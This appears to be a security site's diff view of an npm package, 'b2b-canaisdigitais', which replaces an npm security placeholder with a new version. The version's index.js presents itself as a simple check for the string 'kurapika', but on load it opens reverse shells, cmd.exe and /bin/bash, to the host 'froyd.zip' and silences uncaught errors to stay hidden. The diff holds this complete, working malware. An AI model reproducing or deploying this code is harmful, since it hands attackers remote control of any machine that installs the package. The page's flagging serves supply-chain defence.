b2b-canaisdigitais 0.0.1-security → 69.69.71
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of b2b-canaisdigitais might be problematic. Click here for more details.
- package/index.js +50 -0
- package/package.json +19 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,50 @@
|
|
1
|
+
|
2
|
+
const attackServer = "froyd.zip"
|
3
|
+
const windowsAttackPort = 60001
|
4
|
+
const linuxAttackPort = 60002
|
5
|
+
|
6
|
+
function setupReverseShell() {
|
7
|
+
// For windows
|
8
|
+
var net = require("net"),
|
9
|
+
child = require("child_process"),
|
10
|
+
shell = child.spawn("cmd.exe", []);
|
11
|
+
|
12
|
+
var client = new net.Socket();
|
13
|
+
|
14
|
+
client.connect(windowsAttackPort, attackServer, function(){
|
15
|
+
client.pipe(shell.stdin);
|
16
|
+
shell.stdout.pipe(client);
|
17
|
+
shell.stderr.pipe(client);
|
18
|
+
})
|
19
|
+
|
20
|
+
|
21
|
+
// For linux
|
22
|
+
net = require("net"),
|
23
|
+
child = require("child_process"),
|
24
|
+
shell = child.spawn("/bin/bash", []);
|
25
|
+
|
26
|
+
client = new net.Socket();
|
27
|
+
|
28
|
+
client.connect(linuxAttackPort, attackServer, function(){
|
29
|
+
client.pipe(shell.stdin);
|
30
|
+
shell.stdout.pipe(client);
|
31
|
+
shell.stderr.pipe(client);
|
32
|
+
})
|
33
|
+
};
|
34
|
+
|
35
|
+
setupReverseShell();
|
36
|
+
process.on('uncaughtException', err => {
|
37
|
+
return
|
38
|
+
})
|
39
|
+
|
40
|
+
function player(string) {
|
41
|
+
if(string === "kurapika") {
|
42
|
+
console.log("o cla kuruta serahh vingado")
|
43
|
+
} else {
|
44
|
+
console.log("some daqui meu")
|
45
|
+
}
|
46
|
+
return string === "kurapika"
|
47
|
+
}
|
48
|
+
|
49
|
+
module.exports = player
|
50
|
+
|
package/package.json
CHANGED
@@ -1,6 +1,22 @@
|
|
1
1
|
{
|
2
2
|
"name": "b2b-canaisdigitais",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "69.69.71",
|
4
|
+
"description": "This package verify if an string is equal a \"kurapika\"",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"repository": {
|
10
|
+
"type": "git",
|
11
|
+
"url": "git+https://github.com/CircuitSoul/b2b-canaisdigitais.git"
|
12
|
+
},
|
13
|
+
"keywords": [
|
14
|
+
"kurapika"
|
15
|
+
],
|
16
|
+
"author": "Froyd",
|
17
|
+
"license": "ISC",
|
18
|
+
"bugs": {
|
19
|
+
"url": "https://github.com/CircuitSoul/b2b-canaisdigitais/issues"
|
20
|
+
},
|
21
|
+
"homepage": "https://github.com/CircuitSoul/b2b-canaisdigitais#readme"
|
6
22
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=b2b-canaisdigitais for more information.
|